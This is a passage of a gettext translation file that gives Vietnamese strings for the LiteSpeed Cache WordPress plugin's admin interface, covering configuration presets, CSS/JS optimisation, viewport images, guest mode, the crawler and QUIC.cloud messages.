msgstr "Mã bộ đệm không được là một chuỗi trống."

#: src/lang.cls.php:171
msgid "JS Deferred / Delayed Excludes"
msgstr "Trì hoãn JS / Loại trừ trì hoãn"

#: src/doc.cls.php:153
msgid "The queue is processed asynchronously. It may take time."
msgstr "Hàng đợi được xử lý không đồng bộ. Có thể mất một chút thời gian."

#: src/cloud.cls.php:1190
msgid "In order to use QC services, need a real domain name, cannot use an IP."
msgstr "Để sử dụng dịch vụ QC, cần có tên miền thật, không thể sử dụng IP."

#: tpl/presets/standard.tpl.php:195
msgid "Restore Settings"
msgstr "Khôi phục cài đặt"

#: tpl/presets/standard.tpl.php:193
msgid "This will restore the backup settings created %1$s before applying the %2$s preset. Any changes made since then will be lost. Do you want to continue?"
msgstr "Thao tác này sẽ khôi phục cài đặt sao lưu đã tạo %1$s trước khi áp dụng preset %2$s. Mọi thay đổi được thực hiện kể từ đó sẽ bị mất. Bạn có muốn tiếp tục?"

#: tpl/presets/standard.tpl.php:189
msgid "Backup created %1$s before applying the %2$s preset"
msgstr "Sao lưu được tạo %1$s trước khi áp dụng thiết lập sẵn %2$s"

#: tpl/presets/standard.tpl.php:178
msgid "Applied the %1$s preset %2$s"
msgstr "Đã áp dụng thiết lập sẵn %1$s %2$s"

#: tpl/presets/standard.tpl.php:175
msgid "Restored backup settings %1$s"
msgstr "Đã khôi phục cài đặt sao lưu %1$s"

#: tpl/presets/standard.tpl.php:173
msgid "Error: Failed to apply the settings %1$s"
msgstr "Lỗi: Không thể áp dụng cài đặt %1$s"

#: tpl/presets/standard.tpl.php:163
msgid "History"
msgstr "Lịch sử"

#: tpl/presets/standard.tpl.php:152
msgid "unknown"
msgstr "không xác định"

#: tpl/presets/standard.tpl.php:133
msgid "Apply Preset"
msgstr "Áp dụng thiết lập sẵn"

#: tpl/presets/standard.tpl.php:131
msgid "This will back up your current settings and replace them with the %1$s preset settings. Do you want to continue?"
msgstr "Thao tác này sẽ sao lưu cài đặt hiện tại của bạn và thay thế chúng bằng thiết lập sẵn %1$s. Bạn có muốn tiếp tục?"

#: tpl/presets/standard.tpl.php:121
msgid "Who should use this preset?"
msgstr "Ai nên sử dụng thiết lập sẵn này?"

#: tpl/presets/standard.tpl.php:96
msgid "Use an official LiteSpeed-designed Preset to configure your site in one click. Try no-risk caching essentials, extreme optimization, or something in between."
msgstr "Sử dụng thiết lập sẵn được thiết kế chính thức của LiteSpeed để định cấu hình trang web của bạn chỉ bằng một cú nhấp chuột. Hãy thử các yếu tố cần thiết để lưu vào bộ nhớ cache không có rủi ro, tối ưu hóa extreme hoặc một cái gì đó ở giữa."

#: tpl/presets/standard.tpl.php:92
msgid "LiteSpeed Cache Standard Presets"
msgstr "Thiết lập sẵn tiêu chuẩn của LiteSpeed Cache"

#: tpl/presets/standard.tpl.php:84
msgid "This preset almost certainly will require testing and exclusions for some CSS, JS and Lazy Loaded images. Pay special attention to logos, or HTML-based slider images."
msgstr "Thiết lập sẵn này gần như chắc chắn sẽ yêu cầu thử nghiệm và loại trừ đối với một số hình ảnh CSS, JS và Lazy Loaded. Hãy đặc biệt chú ý đến logo hoặc hình ảnh trình chiếu dựa trên HTML."

#: tpl/presets/standard.tpl.php:81
msgid "Inline CSS added to Combine"
msgstr "CSS nội tuyến được thêm vào Kết hợp"

#: tpl/presets/standard.tpl.php:80
msgid "Inline JS added to Combine"
msgstr "JS nội tuyến được thêm vào Kết hợp"

#: tpl/presets/standard.tpl.php:79
msgid "JS Delayed"
msgstr "JS bị trì hoãn"

#: tpl/presets/standard.tpl.php:78
msgid "Viewport Image Generation"
msgstr "Tạo hình ảnh khung nhìn"

#: tpl/presets/standard.tpl.php:77
msgid "Lazy Load for Images"
msgstr "Tải chậm cho hình ảnh"

#: tpl/presets/standard.tpl.php:76
msgid "Everything in Aggressive, Plus"
msgstr "Mọi thứ trong Aggressive, Plus"

#: tpl/presets/standard.tpl.php:74
msgid "Extreme"
msgstr "Extreme"

#: tpl/presets/standard.tpl.php:69
msgid "This preset might work out of the box for some websites, but be sure to test! Some CSS or JS exclusions may be necessary in Page Optimization > Tuning."
msgstr "Thiết lập sẵn này có thể hoạt động ngay lập tức cho một số trang web, nhưng hãy đảm bảo kiểm tra! Một số loại trừ CSS hoặc JS có thể cần thiết trong Tối ưu hóa trang > Tinh chỉnh."

#: tpl/presets/standard.tpl.php:66
msgid "Lazy Load for Iframes"
msgstr "Tải chậm cho Iframe"

#: tpl/presets/standard.tpl.php:65
msgid "Removed Unused CSS for Users"
msgstr "Đã xóa CSS không sử dụng cho người dùng"

#: tpl/presets/standard.tpl.php:64
msgid "Asynchronous CSS Loading with Critical CSS"
msgstr "Tải CSS không đồng bộ với CSS quan trọng"

#: tpl/presets/standard.tpl.php:63
msgid "CSS & JS Combine"
msgstr "Kết hợp CSS & JS"

#: tpl/presets/standard.tpl.php:62
msgid "Everything in Advanced, Plus"
msgstr "Mọi thứ trong Nâng cao, Cộng"

#: tpl/presets/standard.tpl.php:60
msgid "Aggressive"
msgstr "Aggressive"

#: tpl/presets/standard.tpl.php:55
msgid "This preset is good for most websites, and is unlikely to cause conflicts. Any CSS or JS conflicts may be resolved with Page Optimization > Tuning tools."
msgstr "Đây là bản thiết lập sẵn phù hợp cho hầu hết các trang web và ít có khả năng gây ra xung đột. Nếu có xung đột về CSS hoặc JS, bạn có thể giải quyết bằng các công cụ Tối ưu hóa trang > Tinh chỉnh."

#: tpl/presets/standard.tpl.php:50
msgid "Remove Query Strings from Static Files"
msgstr "Xóa chuỗi truy vấn khỏi tệp tĩnh"

#: tpl/presets/standard.tpl.php:48
msgid "DNS Prefetch for static files"
msgstr "Truy xuất DNS trước cho các tệp tĩnh"

#: tpl/presets/standard.tpl.php:47
msgid "JS Defer for both external and inline JS"
msgstr "JS Defer cho cả JS bên ngoài và nội tuyến"

#: tpl/presets/standard.tpl.php:45
msgid "CSS, JS and HTML Minification"
msgstr "Thu nhỏ CSS, JS và HTML"

#: tpl/presets/standard.tpl.php:44
msgid "Guest Mode and Guest Optimization"
msgstr "Chế độ khách và tối ưu hóa khách"

#: tpl/presets/standard.tpl.php:43
msgid "Everything in Basic, Plus"
msgstr "Mọi thứ trong Cơ bản, Plus"

#: tpl/presets/standard.tpl.php:41
msgid "Advanced (Recommended)"
msgstr "Nâng cao (Được đề xuất)"

#: tpl/presets/standard.tpl.php:36
msgid "This low-risk preset introduces basic optimizations for speed and user experience. Appropriate for enthusiastic beginners."
msgstr "Bản thiết lập sẵn này có rủi ro thấp, mang đến các tối ưu hóa cơ bản giúp cải thiện tốc độ và trải nghiệm người dùng. Phù hợp cho những người mới bắt đầu với tinh thần học hỏi."

#: tpl/presets/standard.tpl.php:33
msgid "Mobile Cache"
msgstr "Bộ nhớ đệm mobile"

#: tpl/presets/standard.tpl.php:31
msgid "Everything in Essentials, Plus"
msgstr "Mọi thứ trong Thiết yếu, Cộng"

#: tpl/presets/standard.tpl.php:24
msgid "This no-risk preset is appropriate for all websites. Good for new users, simple websites, or cache-oriented development."
msgstr "Thiết lập sẵn không có rủi ro này phù hợp với tất cả các trang web. Tốt cho người dùng mới, trang web đơn giản hoặc phát triển hướng đến bộ nhớ đệm."

#: tpl/presets/standard.tpl.php:20
msgid "Higher TTL"
msgstr "TTL cao hơn"

#: tpl/presets/standard.tpl.php:19
msgid "Default Cache"
msgstr "Bộ nhớ đệm mặc định"

#: tpl/presets/standard.tpl.php:17
msgid "Essentials"
msgstr "Thiết yếu"

#: tpl/presets/entry.tpl.php:23
msgid "LiteSpeed Cache Configuration Presets"
msgstr "Cấu hình thiết lập sẵn LiteSpeed Cache"

#: tpl/presets/entry.tpl.php:16
msgid "Standard Presets"
msgstr "Thiết lập sẵn tiêu chuẩn"

#: tpl/page_optm/settings_tuning_css.tpl.php:52
msgid "Listed CSS files will be excluded from UCSS and saved to inline."
msgstr "Các tệp CSS được liệt kê sẽ bị loại trừ khỏi UCSS và được lưu thành nội tuyến."

#: src/lang.cls.php:142
msgid "UCSS Selector Allowlist"
msgstr "Danh sách cho phép bộ chọn UCSS"

#: src/admin-display.cls.php:252
msgid "Presets"
msgstr "Thiết lập sẵn"

#: tpl/dash/dashboard.tpl.php:310
msgid "Partner Benefits Provided by"
msgstr "Lợi ích đối tác được cung cấp bởi"

#: tpl/toolbox/log_viewer.tpl.php:35
msgid "LiteSpeed Logs"
msgstr "Nhật ký LiteSpeed"

#: tpl/toolbox/log_viewer.tpl.php:28
msgid "Crawler Log"
msgstr "Nhật ký trình thu thập dữ liệu"

#: tpl/toolbox/log_viewer.tpl.php:23
msgid "Purge Log"
msgstr "Xóa nhật ký"

#: tpl/toolbox/settings-debug.tpl.php:188
msgid "Prevent writing log entries that include listed strings."
msgstr "Ngăn ghi các mục nhật ký bao gồm các chuỗi được liệt kê."

#: tpl/toolbox/settings-debug.tpl.php:27
msgid "View Site Before Cache"
msgstr "Xem trang trước khi lưu vào bộ nhớ đệm"

#: tpl/toolbox/settings-debug.tpl.php:23
msgid "View Site Before Optimization"
msgstr "Xem trang web trước khi tối ưu hóa"

#: tpl/toolbox/settings-debug.tpl.php:19
msgid "Debug Helpers"
msgstr "Trình trợ giúp gỡ lỗi"

#: tpl/page_optm/settings_vpi.tpl.php:122
msgid "Enable Viewport Images auto generation cron."
msgstr "Bật cron tạo tự động hình ảnh khung nhìn."

#: tpl/page_optm/settings_vpi.tpl.php:39
msgid "This enables the page's initial screenful of imagery to be fully displayed without delay."
msgstr "Điều này cho phép màn hình ban đầu của trang web hiển thị đầy đủ hình ảnh mà không bị chậm trễ."

#: tpl/page_optm/settings_vpi.tpl.php:38
msgid "The Viewport Images service detects which images appear above the fold, and excludes them from lazy load."
msgstr "Dịch vụ hình ảnh khung nhìn phát hiện hình ảnh nào xuất hiện phía trên nếp gấp và loại trừ chúng khỏi tải chậm."

#: tpl/page_optm/settings_vpi.tpl.php:37
msgid "When you use Lazy Load, it will delay the loading of all images on a page."
msgstr "Khi bạn sử dụng Tải chậm, nó sẽ trì hoãn việc tải tất cả hình ảnh trên một trang."

#: tpl/page_optm/settings_media.tpl.php:259
msgid "Use %1$s to bypass remote image dimension check when %2$s is ON."
msgstr "Sử dụng %1$s để bỏ qua kiểm tra kích thước hình ảnh từ xa khi %2$s được BẬT."

#: tpl/page_optm/entry.tpl.php:20
msgid "VPI"
msgstr "VPI"

#: tpl/general/settings.tpl.php:72 tpl/page_optm/settings_media.tpl.php:253
#: tpl/page_optm/settings_vpi.tpl.php:44
msgid "%s must be turned ON for this setting to work."
msgstr "%s phải được BẬT để cài đặt này hoạt động."

#: tpl/dash/dashboard.tpl.php:755
msgid "Viewport Image"
msgstr "Hình ảnh khung nhìn"

#: thirdparty/litespeed-check.cls.php:75 thirdparty/litespeed-check.cls.php:123
msgid "Please consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:"
msgstr "Vui lòng xem xét tắt các plugin được phát hiện sau, vì chúng có thể xung đột với LiteSpeed Cache:"

#: src/metabox.cls.php:33
msgid "Mobile"
msgstr "Di động"

#: src/metabox.cls.php:31
msgid "Disable VPI"
msgstr "Tắt hình ảnh khung nhìn"

#: src/metabox.cls.php:30
msgid "Disable Image Lazyload"
msgstr "Tắt Tải chậm hình ảnh"

#: src/metabox.cls.php:29
msgid "Disable Cache"
msgstr "Tắt bộ nhớ đệm"

#: src/lang.cls.php:264
msgid "Debug String Excludes"
msgstr "Loại trừ Chuỗi Gỡ lỗi"

#: src/lang.cls.php:203
msgid "Viewport Images Cron"
msgstr "Cron hình ảnh khung nhìn"

#: src/lang.cls.php:202 src/metabox.cls.php:32 src/metabox.cls.php:33
#: tpl/page_optm/settings_vpi.tpl.php:23
msgid "Viewport Images"
msgstr "Hình ảnh khung nhìn"

#: src/lang.cls.php:53
msgid "Alias is in use by another QUIC.cloud account."
msgstr "Bí danh đang được sử dụng bởi một tài khoản QUIC.cloud khác."

#: src/lang.cls.php:51
msgid "Unable to automatically add %1$s as a Domain Alias for main %2$s domain."
msgstr "Không thể tự động thêm %1$s làm Bí danh miền cho miền chính %2$s."

#: src/lang.cls.php:46
msgid "Unable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict."
msgstr "Không thể tự động thêm %1$s làm Bí danh miền cho miền chính %2$s do xung đột CDN tiềm ẩn."

#: src/error.cls.php:232
msgid "You cannot remove this DNS zone, because it is still in use. Please update the domain's nameservers, then try to delete this zone again, otherwise your site will become inaccessible."
msgstr "Bạn không thể xóa vùng DNS này vì nó vẫn đang được sử dụng. Vui lòng cập nhật máy chủ tên miền, sau đó thử xóa vùng này lần nữa, nếu không trang web của bạn sẽ không thể truy cập được."

#: src/error.cls.php:135
msgid "The site is not a valid alias on QUIC.cloud."
msgstr "Trang web không phải là bí danh hợp lệ trên QUIC.cloud."

#: tpl/page_optm/settings_localization.tpl.php:141
msgid "Please thoroughly test each JS file you add to ensure it functions as expected."
msgstr "Vui lòng kiểm tra kỹ lưỡng từng tệp JS bạn thêm vào để đảm bảo nó hoạt động như mong đợi."

#: tpl/page_optm/settings_localization.tpl.php:108
msgid "Please thoroughly test all items in %s to ensure they function as expected."
msgstr "Vui lòng kiểm tra kỹ lưỡng tất cả các mục trong %s để đảm bảo chúng hoạt động như mong đợi."

#: tpl/page_optm/settings_tuning_css.tpl.php:100
msgid "Use %1$s to bypass UCSS for the pages which page type is %2$s."
msgstr "Sử dụng %1$s để bỏ qua UCSS cho các trang có loại trang là %2$s."

#: tpl/page_optm/settings_tuning_css.tpl.php:99
msgid "Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL."
msgstr "Sử dụng %1$s để tạo một UCSS duy nhất cho các trang có loại trang là %2$s trong khi các loại trang khác vẫn theo URL."

#: tpl/page_optm/settings_css.tpl.php:87
msgid "Filter %s available for UCSS per page type generation."
msgstr "Bộ lọc %s khả dụng cho tạo UCSS theo loại trang."

#: tpl/general/settings_inc.guest.tpl.php:45
#: tpl/general/settings_inc.guest.tpl.php:48
msgid "Guest Mode failed to test."
msgstr "Chế độ khách không thể kiểm tra."

#: tpl/general/settings_inc.guest.tpl.php:42
msgid "Guest Mode passed testing."
msgstr "Chế độ khách đã vượt qua bài kiểm tra."

#: tpl/general/settings_inc.guest.tpl.php:35
msgid "Testing"
msgstr "Đang kiểm tra"

#: tpl/general/settings_inc.guest.tpl.php:34
msgid "Guest Mode testing result"
msgstr "Kết quả kiểm tra chế độ Khách"

#: tpl/crawler/blacklist.tpl.php:87
msgid "Not blocklisted"
msgstr "Không bị chặn"

#: tpl/cache/settings_inc.cache_mobile.tpl.php:25
msgid "Learn more about when this is needed"
msgstr "Tìm hiểu thêm về trường hợp cần thiết"

#: src/purge.cls.php:345
msgid "Cleaned all localized resource entries."
msgstr "Đã dọn dẹp tất cả các mục tài nguyên được bản địa hóa."

#: tpl/toolbox/entry.tpl.php:24
msgid "View .htaccess"
msgstr "Xem .htaccess"

#: tpl/toolbox/edit_htaccess.tpl.php:63 tpl/toolbox/edit_htaccess.tpl.php:81
msgid "You can use this code %1$s in %2$s to specify the htaccess file path."
msgstr "Bạn có thể sử dụng đoạn mã này %1$s trong %2$s để chỉ định đường dẫn tệp htaccess."

#: tpl/toolbox/edit_htaccess.tpl.php:62 tpl/toolbox/edit_htaccess.tpl.php:80
msgid "PHP Constant %s is supported."
msgstr "Hỗ trợ hằng số PHP %s."

#: tpl/toolbox/edit_htaccess.tpl.php:58 tpl/toolbox/edit_htaccess.tpl.php:76
msgid "Default path is"
msgstr "Đường dẫn mặc định là"

#: tpl/toolbox/edit_htaccess.tpl.php:46
msgid ".htaccess Path"
msgstr "Đường dẫn .htaccess"

#: tpl/general/settings.tpl.php:49
msgid "Please read all warnings before enabling this option."
msgstr "Vui lòng đọc tất cả các cảnh báo trước khi bật tùy chọn này."

#: tpl/toolbox/purge.tpl.php:83
msgid "This will delete all generated unique CSS files"
msgstr "Thao tác này sẽ xóa tất cả các tệp CSS duy nhất đã tạo"

#: tpl/toolbox/beta_test.tpl.php:84
msgid "In order to avoid an upgrade error, you must be using %1$s or later before you can upgrade to %2$s versions."
msgstr "Để tránh lỗi nâng cấp, bạn phải sử dụng %1$s trở lên trước khi có thể nâng cấp lên phiên bản %2$s."

#: tpl/toolbox/beta_test.tpl.php:77
msgid "Use latest GitHub Dev/Master commit"
msgstr "Sử dụng bản cam kết Dev/Master GitHub mới nhất"

#: tpl/toolbox/beta_test.tpl.php:77
msgid "Press the %s button to use the most recent GitHub commit. Master is for release candidate & Dev is for experimental testing."
msgstr "Nhấn nút %s để sử dụng bản cam kết GitHub gần đây nhất. Master dành cho ứng viên phát hành & Dev dành cho thử nghiệm thử nghiệm."

#: tpl/toolbox/beta_test.tpl.php:72
msgid "Downgrade not recommended. May cause fatal error due to refactored code."
msgstr "Không nên hạ cấp. Có thể gây ra lỗi nghiêm trọng do mã được cấu trúc lại."

#: tpl/page_optm/settings_tuning.tpl.php:144
msgid "Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group."
msgstr "Chỉ tối ưu hóa trang cho khách truy cập (chưa đăng nhập). Nếu TẮT tùy chọn này, các tệp CSS/JS/CCSS sẽ được nhân đôi cho mỗi nhóm người dùng."

#: tpl/page_optm/settings_tuning.tpl.php:106
msgid "Listed JS files or inline JS code will not be optimized by %s."
msgstr "Các tệp JS được liệt kê hoặc mã JS nội tuyến sẽ không được tối ưu hóa bởi %s."

#: tpl/page_optm/settings_tuning_css.tpl.php:92
msgid "Listed URI will not generate UCSS."
msgstr "URI được liệt kê sẽ không tạo UCSS."

#: tpl/page_optm/settings_tuning_css.tpl.php:74
msgid "The selector must exist in the CSS. Parent classes in the HTML will not work."
msgstr "Bộ chọn phải tồn tại trong CSS. Các lớp cha trong HTML sẽ không hoạt động."

#: tpl/page_optm/settings_tuning_css.tpl.php:70
#: tpl/page_optm/settings_tuning_css.tpl.php:145
msgid "Wildcard %s supported."
msgstr "Hỗ trợ ký tự đại diện %s."

#: tpl/page_optm/settings_media_exc.tpl.php:34
msgid "Useful for above-the-fold images causing CLS (a Core Web Vitals metric)."
msgstr "Hữu ích cho hình ảnh trên màn hình đầu tiên gây ra CLS (một chỉ số Core Web Vitals)."

#: tpl/page_optm/settings_media.tpl.php:248
msgid "Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric)."
msgstr "Đặt chiều rộng và chiều cao rõ ràng trên các phần tử hình ảnh để giảm chuyển dịch bố cục và cải thiện CLS (một chỉ số Core Web Vitals)."

#: tpl/page_optm/settings_media.tpl.php:141
msgid "Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu."
msgstr "Các thay đổi đối với cài đặt này không áp dụng cho LQIP đã tạo. Để tạo lại LQIP hiện có, vui lòng %s trước từ menu thanh quản trị."

#: tpl/page_optm/settings_js.tpl.php:79
msgid "Deferring until page is parsed or delaying till interaction can help reduce resource contention and improve performance causing a lower FID (Core Web Vitals metric)."
msgstr "Hoãn lại cho đến khi trang được phân tích cú pháp hoặc trì hoãn cho đến khi tương tác có thể giúp giảm tranh chấp tài nguyên và cải thiện hiệu suất gây ra FID thấp hơn (chỉ số Core Web Vitals)."

#: tpl/page_optm/settings_js.tpl.php:77
msgid "Delayed"
msgstr "Bị trì hoãn"

#: tpl/page_optm/settings_js.tpl.php:52
msgid "JS error can be found from the developer console of browser by right clicking and choosing Inspect."
msgstr "Lỗi JS có thể được tìm thấy từ tổng quan dành cho nhà phát triển của trình duyệt bằng cách nhấp chuột phải và chọn Kiểm tra."

#: tpl/page_optm/settings_js.tpl.php:51 tpl/page_optm/settings_js.tpl.php:85
msgid "This option may result in a JS error or layout issue on frontend pages with certain themes/plugins."
msgstr "Tùy chọn này có thể dẫn đến lỗi JS hoặc sự cố bố cục trên các trang giao diện người dùng với một số chủ đề/plugin nhất định."

#: tpl/page_optm/settings_html.tpl.php:147
msgid "This will also add a preconnect to Google Fonts to establish a connection earlier."
msgstr "Điều này cũng sẽ thêm một kết nối trước đến Google Fonts để thiết lập kết nối sớm hơn."

#: tpl/page_optm/settings_html.tpl.php:91
msgid "Delay rendering off-screen HTML elements by its selector."
msgstr "Trì hoãn kết xuất các phần tử HTML ngoài màn hình bằng bộ chọn của nó."

#: tpl/page_optm/settings_css.tpl.php:314
msgid "Disable this option to generate CCSS per Post Type instead of per page. This can save significant CCSS quota, however it may result in incorrect CSS styling if your site uses a page builder."
msgstr "Tắt tùy chọn này để tạo CCSS cho mỗi Loại bài đăng thay vì cho mỗi trang. Điều này có thể tiết kiệm đáng kể hạn ngạch CCSS, tuy nhiên nó có thể dẫn đến kiểu dáng CSS không chính xác nếu trang web của bạn sử dụng trình tạo trang."

#: tpl/page_optm/settings_css.tpl.php:230
msgid "This option is bypassed due to %s option."
msgstr "Tùy chọn này bị bỏ qua do tùy chọn %s."

#: tpl/page_optm/settings_css.tpl.php:224
msgid "Elements with attribute %s in HTML code will be excluded."
msgstr "Các phần tử có thuộc tính %s trong mã HTML sẽ bị loại trừ."

#: tpl/page_optm/settings_css.tpl.php:217
msgid "Use QUIC.cloud online service to generate critical CSS and load remaining CSS asynchronously."
msgstr "Sử dụng dịch vụ trực tuyến QUIC.cloud để tạo CSS quan trọng và tải CSS còn lại không đồng bộ."

#: tpl/page_optm/settings_css.tpl.php:181
msgid "This option will automatically bypass %s option."
msgstr "Tùy chọn này sẽ tự động bỏ qua tùy chọn %s."

#: tpl/page_optm/settings_css.tpl.php:178
msgid "Inline UCSS to reduce the extra CSS file loading. This option will not be automatically turned on for %1$s pages. To use it on %1$s pages, please set it to ON."
msgstr "Nội tuyến UCSS để giảm tải tệp CSS bổ sung. Tùy chọn này sẽ không tự động được bật cho các trang %1$s. Để sử dụng nó trên các trang %1$s, vui lòng đặt nó thành BẬT."

#: tpl/page_optm/settings_css.tpl.php:155
#: tpl/page_optm/settings_css.tpl.php:160
#: tpl/page_optm/settings_css.tpl.php:292
#: tpl/page_optm/settings_css.tpl.php:297
#: tpl/page_optm/settings_vpi.tpl.php:100
#: tpl/page_optm/settings_vpi.tpl.php:105
msgid "Run %s Queue Manually"
msgstr "Chạy Hàng đợi %s Thủ công"

#: tpl/page_optm/settings_css.tpl.php:93
msgid "This option is bypassed because %1$s option is %2$s."
msgstr "Tùy chọn này bị bỏ qua vì tùy chọn %1$s là %2$s."

#: tpl/page_optm/settings_css.tpl.php:85
msgid "Automatic generation of unique CSS is in the background via a cron-based queue."
msgstr "Tạo CSS duy nhất tự động được thực hiện trong nền thông qua hàng đợi dựa trên cron."

#: tpl/page_optm/settings_css.tpl.php:83
msgid "This will drop the unused CSS on each page from the combined file."
msgstr "Điều này sẽ loại bỏ CSS không sử dụng trên mỗi trang khỏi tệp kết hợp."

#: tpl/page_optm/entry.tpl.php:18 tpl/page_optm/settings_html.tpl.php:17
msgid "HTML Settings"
msgstr "Cài đặt HTML"

#: tpl/inc/in_upgrading.php:15
msgid "LiteSpeed cache plugin upgraded. Please refresh the page to complete the configuration data upgrade."
msgstr "Plugin bộ nhớ cache LiteSpeed đã được nâng cấp. Vui lòng tải lại trang để hoàn tất nâng cấp dữ liệu cấu hình."

#: tpl/general/settings_tuning.tpl.php:62
msgid "Listed IPs will be considered as Guest Mode visitors."
msgstr "Các IP được liệt kê sẽ được coi là khách truy cập ở chế độ khách."

#: tpl/general/settings_tuning.tpl.php:40
msgid "Listed User Agents will be considered as Guest Mode visitors."
msgstr "Các tác nhân người dùng được liệt kê sẽ được coi là khách truy cập ở chế độ khách."

#: tpl/general/settings_inc.guest.tpl.php:27
msgid "This option can help to correct the cache vary for certain advanced mobile or tablet visitors."
msgstr "Tùy chọn này có thể giúp sửa lỗi bộ nhớ đệm khác nhau cho một số khách truy cập di động hoặc máy tính bảng nâng cao nhất định."

#: tpl/general/settings_inc.guest.tpl.php:26
msgid "Guest Mode provides an always cacheable landing page for an automated guest's first time visit, and then attempts to update cache varies via AJAX."
msgstr "Chế độ khách cung cấp một trang đích luôn có thể lưu vào bộ nhớ cache cho lần truy cập đầu tiên của khách tự động và sau đó cố gắng cập nhật bộ nhớ đệm khác nhau thông qua AJAX."

#: tpl/general/settings.tpl.php:104
msgid "Please make sure this IP is the correct one for visiting your site."
msgstr "Vui lòng đảm bảo rằng IP này là chính xác để truy cập trang web của bạn."

#: tpl/general/settings.tpl.php:103
msgid "the auto-detected IP may not be accurate if you have an additional outgoing IP set, or you have multiple IPs configured on your server."
msgstr "IP được phát hiện tự động có thể không chính xác nếu bạn có bộ IP gửi đi bổ sung hoặc bạn có nhiều IP được định cấu hình trên máy chủ của mình."

#: tpl/general/settings.tpl.php:86
msgid "You need to turn %s on and finish all WebP generation to get maximum result."
msgstr "Bạn cần bật %s và hoàn tất tất cả quá trình tạo WebP để có kết quả tốt nhất."

#: tpl/general/settings.tpl.php:79
msgid "You need to turn %s on to get maximum result."
msgstr "Bạn cần bật %s để có kết quả tốt nhất."

#: tpl/general/settings.tpl.php:48
msgid "This option enables maximum optimization for Guest Mode visitors."
msgstr "Tùy chọn này cho phép tối ưu hóa tối đa cho khách truy cập ở Chế độ Khách."

#: tpl/dash/dashboard.tpl.php:54 tpl/dash/dashboard.tpl.php:81
#: tpl/dash/dashboard.tpl.php:520 tpl/dash/dashboard.tpl.php:597
#: tpl/dash/dashboard.tpl.php:624 tpl/dash/dashboard.tpl.php:668
#: tpl/dash/dashboard.tpl.php:712 tpl/dash/dashboard.tpl.php:756
#: tpl/dash/dashboard.tpl.php:800 tpl/dash/dashboard.tpl.php:847
msgid "More"
msgstr "Thêm"

#: tpl/dash/dashboard.tpl.php:300
msgid "Remaining Daily Quota"
msgstr "Hạn ngạch hàng ngày còn lại"

#: tpl/crawler/summary.tpl.php:246
msgid "Successfully Crawled"
msgstr "Đã thu thập dữ liệu thành công"

#: tpl/crawler/summary.tpl.php:245
msgid "Already Cached"
msgstr "Đã được lưu vào bộ nhớ đệm"

#: tpl/crawler/settings.tpl.php:59
msgid "The crawler will use your XML sitemap or sitemap index. Enter the full URL to your sitemap here."
msgstr "Trình thu thập dữ liệu sẽ sử dụng sơ đồ trang web XML hoặc chỉ mục sơ đồ trang web của bạn. Nhập URL đầy đủ vào sơ đồ trang web của bạn tại đây."

#: tpl/cdn/cf.tpl.php:48
msgid "Optional when API token used."
msgstr "Tùy chọn khi sử dụng mã thông báo API."

#: tpl/cdn/cf.tpl.php:40
msgid "Recommended to generate the token from Cloudflare API token template \"WordPress\"."
msgstr "Khuyến nghị tạo mã thông báo từ mẫu mã thông báo API Cloudflare \"WordPress\"."

#: tpl/cdn/cf.tpl.php:35
msgid "Global API Key / API Token"
msgstr "Khóa API / Mã thông báo API chung"

#: tpl/cache/settings_inc.object.tpl.php:47
msgid "Use external object cache functionality."
msgstr "Sử dụng chức năng bộ nhớ đệm đối tượng bên ngoài."

#: tpl/cache/settings_inc.cache_mobile.tpl.php:24
msgid "Serve a separate cache copy for mobile visitors."
msgstr "Phục vụ một bản sao bộ nhớ đệm riêng biệt cho khách truy cập di động."

#: thirdparty/woocommerce.content.tpl.php:26
msgid "By default, the My Account, Checkout, and Cart pages are automatically excluded from caching. Misconfiguration of page associations in WooCommerce settings may cause some pages to be erroneously excluded."
msgstr "Theo mặc định, các trang Tài khoản của tôi, Thanh toán và Giỏ hàng sẽ tự động bị loại trừ khỏi bộ nhớ đệm. Định cấu hình sai các liên kết trang trong cài đặt WooCommerce có thể khiến một số trang bị loại trừ do nhầm lẫn."

#: src/purge.cls.php:273
msgid "Cleaned all Unique CSS files."
msgstr "Đã dọn dẹp tất cả các tệp CSS duy nhất."

#: src/lang.cls.php:201
msgid "Add Missing Sizes"
msgstr "Thêm Kích thước bị thiếu"

#: src/lang.cls.php:176
msgid "Optimize for Guests Only"
msgstr "Chỉ tối ưu hóa cho khách"

#: src/lang.cls.php:172
msgid "Guest Mode JS Excludes"
msgstr "Loại trừ JS Chế độ Khách"

#: src/lang.cls.php:152
msgid "CCSS Per URL"
msgstr "CCSS Theo URL"

#: src/lang.cls.php:149
msgid "HTML Lazy Load Selectors"
msgstr "Bộ chọn tải chậm HTML"

#: src/lang.cls.php:144
msgid "UCSS URI Excludes"
msgstr "Loại trừ URI UCSS"

#: src/lang.cls.php:141
msgid "UCSS Inline"
msgstr "Nội tuyến UCSS"

#: src/lang.cls.php:101
msgid "Guest Optimization"
msgstr "Tối ưu hóa Khách"

#: src/lang.cls.php:100
msgid "Guest Mode"
msgstr "Chế độ khách"

#: src/lang.cls.php:87
msgid "Guest Mode IPs"
msgstr "IP Chế độ Khách"

#: src/lang.cls.php:86
msgid "Guest Mode User Agents"
msgstr "Tác nhân người dùng chế độ khách"

#: src/error.cls.php:151
msgid "Online node needs to be redetected."
msgstr "Nút trực tuyến cần được phát hiện lại."

#: src/error.cls.php:147
msgid "The current server is under heavy load."
msgstr "Máy chủ hiện tại đang bị quá tải."

#: src/doc.cls.php:70
msgid "Please see %s for more details."
msgstr "Vui lòng xem %s để biết thêm chi tiết."

#: src/doc.cls.php:54
msgid "This setting will regenerate crawler list and clear the disabled list!"
msgstr "Cài đặt này sẽ tạo lại danh sách trình thu thập dữ liệu và xóa danh sách bị vô hiệu hóa!"

#: src/gui.cls.php:82
msgid "%1$s %2$s files left in queue"
msgstr "Còn lại %1$s tệp %2$s trong hàng đợi"

#: src/crawler.cls.php:145
msgid "Crawler disabled list is cleared! All crawlers are set to active! "
msgstr "Danh sách trình thu thập dữ liệu bị vô hiệu hóa đã bị xóa! Tất cả các trình thu thập dữ liệu được đặt thành hoạt động! "

#: src/cloud.cls.php:1510
msgid "Redetected node"
msgstr "Nút được phát hiện lại"

#: src/cloud.cls.php:1029
msgid "No available Cloud Node after checked server load."
